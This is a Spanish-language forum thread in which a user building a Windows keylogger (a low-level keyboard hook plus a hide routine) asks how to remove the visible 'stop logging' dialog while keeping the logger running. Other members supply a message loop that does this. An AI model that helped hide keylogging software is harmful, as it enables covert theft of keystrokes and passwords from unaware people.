elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  wait() en c++ (windows)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: wait() en c++ (windows)  (Leído 9,321 veces)
soyloqbuskas

Desconectado Desconectado

Mensajes: 211


¡El conocimiento es de todos!


Ver Perfil
wait() en c++ (windows)
« en: 21 Diciembre 2011, 20:46 »

¡Buenas a todos!

Quiero esar la funcion wait() en c++ para windows y el compilador dice que esta funcion no la tengo definida.
Asi que el error esta en que no tengo incluida la libreria adecuada. En linux es sys/wait.h y ¿en windows cual es?
Segun he leido por google, la libreria es unistd.h pero esta ya la tengo incluida y me sigue dando el mismo error.

Estas son mis librerias:
    #include<stdio.h>
    #include<fstream>
    #include<windows.h>
    #include<time.h>
    #include<conio.h>
    #include<unistd.h>
¿cual es la libreria que me falta?

Y otra pregunta:
Me he encontrado esto en un codigo antes de los includes:
     #define _WIN32_WINNT 0x0500
Tiene pinta de decir en que posicion de la memoria se debe cargar el programa...¿es eso? si no es asi, ¿que significa?

¡Gracias, un saludo!



En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
Eternal Idol
Moderador
***
Desconectado Desconectado

Mensajes: 5.642


Israel nunca torturó niños, ni lo volverá a hacer.


Ver Perfil WWW
Re: wait() en c++ (windows)
« Respuesta #1 en: 21 Diciembre 2011, 21:13 »

Esa funcion no es standard de C/C++.

¿Que queres hacer exactamente? ¿Esperar a que un proceso termine? Si es asi vas a tener que crearlo primero con una funcion de la API de Windows que te devuelva un HANDLE al mismo (CreateProcess o ShellExecuteEx), despues podes usar WaitForSingleObject parar esperar a que este termine. Si hablamos de hilos estamos en la misma situacion y si queres esperar a uno de varios usa WaitForMultipleObjects.

_WIN32_WINNT es la version de Windows (0x0500 = Windows 2000), algunas funciones no estaran declaradas dependiendo de la misma.

PD. No uses conio.h, no es standard.


« Última modificación: 21 Diciembre 2011, 23:06 por Eternal Idol » En línea

La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón
soyloqbuskas

Desconectado Desconectado

Mensajes: 211


¡El conocimiento es de todos!


Ver Perfil
Re: wait() en c++ (windows)
« Respuesta #2 en: 21 Diciembre 2011, 21:39 »

Ok, en realidad lo que estoy haciendo es un keylogger...y este es el codigo:
Código:
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { 
        // Main();
        ocultar();
        file();
        hora();
        HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);
        MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
        fclose(fichero);
        return 0;
    }

Bien, funciona todo correctamente, pero me saca por pantalla el MessageBox(). Y lo que quiero es quitarlo. Si lo quito sin mas, el Main finaliza, ya que el MessageBox permite que se quede en espera el keylogger hasta que se presione el boton de OK.
Y por eso quiero el wait() para hacer la espera....y es que con sleep() se da el problema de la espera activa y chupa muchos recursos de la CPU

¿Alguna idea de como quitar ese MessageBox y de que no finalice la ejecucion?

¡Gracias!
En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
Eternal Idol
Moderador
***
Desconectado Desconectado

Mensajes: 5.642


Israel nunca torturó niños, ni lo volverá a hacer.


Ver Perfil WWW
Re: wait() en c++ (windows)
« Respuesta #3 en: 21 Diciembre 2011, 22:10 »

¿Estas usando sleep(1) por casualidad? Usa Sleep (la funcion de la API de Windows) con 1000 como parametro en ese caso.
En línea

La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón
soyloqbuskas

Desconectado Desconectado

Mensajes: 211


¡El conocimiento es de todos!


Ver Perfil
Re: wait() en c++ (windows)
« Respuesta #4 en: 21 Diciembre 2011, 22:31 »

No, no estoy usando Sleep() y no quiero usarlo porque quiero que haga una espera indefinida de tiempo, si hago por ejemplo un Sleep(1000) espera un segundo....y si meto el Sleep() dentro de un while infinito (para simular un wait() ) me como los recursos de la CPU, por eso prefiero un wait() o similar (ya que no chupa recursos y no tiene espera activa) :)

No se....¿alguna idea mas? :)
¡Gracias!
En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
Eternal Idol
Moderador
***
Desconectado Desconectado

Mensajes: 5.642


Israel nunca torturó niños, ni lo volverá a hacer.


Ver Perfil WWW
Re: wait() en c++ (windows)
« Respuesta #5 en: 21 Diciembre 2011, 23:04 »

¿Lo probaste? No deberia consumir ningun recurso Sleep:
Suspends the execution of the current thread until the time-out interval elapses.

Podes usar INFINITE:
A value of INFINITE indicates that the suspension should not time out.

Y si queres esperar como wait lee mi primer respuesta.
En línea

La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón
BlackZeroX (Astaroth)
Wiki

Desconectado Desconectado

Mensajes: 3.128


I'Love...!¡.


Ver Perfil WWW
Re: wait() en c++ (windows)
« Respuesta #6 en: 21 Diciembre 2011, 23:06 »

No se que intentas hacer... pero puedes usar un Do While o While (Como quieras) + WaitMessage()... de esta manera el do while avanzara sin comerte el procesador al ~100%.

Edito--->

Tambien puedes usar varias APIS que tratan los mensajes (WaitMessage(), GetMessage(), DispatchMessage(), etc...) Ejemplo: Aquí

Edito:--->

Ya lei tu problema Concreto!¡.

Agrega este Proceso y LLAMALO En lugar de tu MessageBox(), con esto se arregla tu problema:

Código
  1.  
  2. voidProcessMessages()
  3. {
  4.    MSG msg;
  5.    while (GetMessage(&msg, NULL, NULL, NULL) != -1)
  6.        DispatchMessage(&msg);
  7. }
  8.  
  9.  

Dulces Lunas!¡.
« Última modificación: 21 Diciembre 2011, 23:37 por BlackZeroX (Astaroth) » En línea




CScript (Actualizado 26/06/2013).

FileX <-- Re-modelando...
Web Principal-->[ Blog(VB6/C/C++) | Host File | Scan Port) ]

The Dark Shadow is my passion.
El infierno es mi Hogar, mi novia es Lilit y el metal mi relig
soyloqbuskas

Desconectado Desconectado

Mensajes: 211


¡El conocimiento es de todos!


Ver Perfil
Re: wait() en c++ (windows)
« Respuesta #7 en: 22 Diciembre 2011, 02:22 »

¡Muchas gracias a todos!

Probe el Sleep y el waitForSingleObject y no me terminaba de ir con estos metodos.....el caso es que la espera la hacia, pero dejaba de loggear... :S

Pero al final con el codigo de BlackZeroX (Astaroth) me ha funcionado perfectamente. Lo unico que del codigo hay que cambiar 2 null por false.
Código:
   void ProcessMessages(){
         MSG msg;
         while (GetMessage(&msg, NULL, FALSE, FALSE) != -1)
               DispatchMessage(&msg);
    }

y con esto solo tuve que sustituir el MessagBox por ProcessMessages y funciona 100%

¡Muchas Gracias!
¡Un saludo!
En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
Eternal Idol
Moderador
***
Desconectado Desconectado

Mensajes: 5.642


Israel nunca torturó niños, ni lo volverá a hacer.


Ver Perfil WWW
Re: wait() en c++ (windows)
« Respuesta #8 en: 22 Diciembre 2011, 09:12 »

Bien Sleep no consume recursos y si este hook funcionara con APCs podrias haber usado SleepEx pero no es esperar precisamente lo que tenes que hacer sino procesar los mensajes ...

LowLevelKeyboardProc callback function

Remarks

An application installs the hook procedure by specifying the WH_KEYBOARD_LL hook type and a pointer to the hook procedure in a call to the SetWindowsHookEx function.

This hook is called in the context of the thread that installed it. The call is made by sending a message to the thread that installed the hook. Therefore, the thread that installed the hook must have a message loop.
En línea

La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón
BlackZeroX (Astaroth)
Wiki

Desconectado Desconectado

Mensajes: 3.128


I'Love...!¡.


Ver Perfil WWW
Re: wait() en c++ (windows)
« Respuesta #9 en: 22 Diciembre 2011, 12:41 »

Pero al final con el codigo de BlackZeroX (Astaroth) me ha funcionado perfectamente. Lo unico que del codigo hay que cambiar 2 null por false.

Los NULL que remplazaste vos por FALSE realmente son 0's...

Nota: Como recalca Eternal Idol, solo debes procesar los mensajes... y como este es un Hook, solo nesesitas tratar los mensajes que llegan le llgan al proceso, para hacer eso se usa el proceso que te he proporcionado (falta hacerle un TranslateMessage()). Otra manera (Va a dar el mismo resultado) es create una Ventana e instalarle a su Handle al Hook... es mas trabajo y por ende mas codigo, en mi consideracion no vale la pena esto ultimo.

Dulces Lunas!¡.
« Última modificación: 22 Diciembre 2011, 12:44 por BlackZeroX (Astaroth) » En línea




CScript (Actualizado 26/06/2013).

FileX <-- Re-modelando...
Web Principal-->[ Blog(VB6/C/C++) | Host File | Scan Port) ]

The Dark Shadow is my passion.
El infierno es mi Hogar, mi novia es Lilit y el metal mi relig
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Threads] wait() y notify() « 1 2 »
Java
klaine 13 6,572 Último mensaje 23 Junio 2011, 02:47
por Valkyr
wait to response http
Programación General
OssoH 2 1,330 Último mensaje 28 Diciembre 2011, 16:43
por OssoH
duda con wait() y notify()
Java
m@o_614 0 981 Último mensaje 12 Septiembre 2015, 01:13
por m@o_614
Wait For Application To Load
.NET (C#, VB.NET, ASP)
TrashAmbishion 5 2,233 Último mensaje 7 Septiembre 2016, 13:43
por FJDA
Ayuda para el metodo Wait()
Java
ITenZangetsuB 2 1,240 Último mensaje 1 Julio 2020, 20:35
por MoonLord07
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines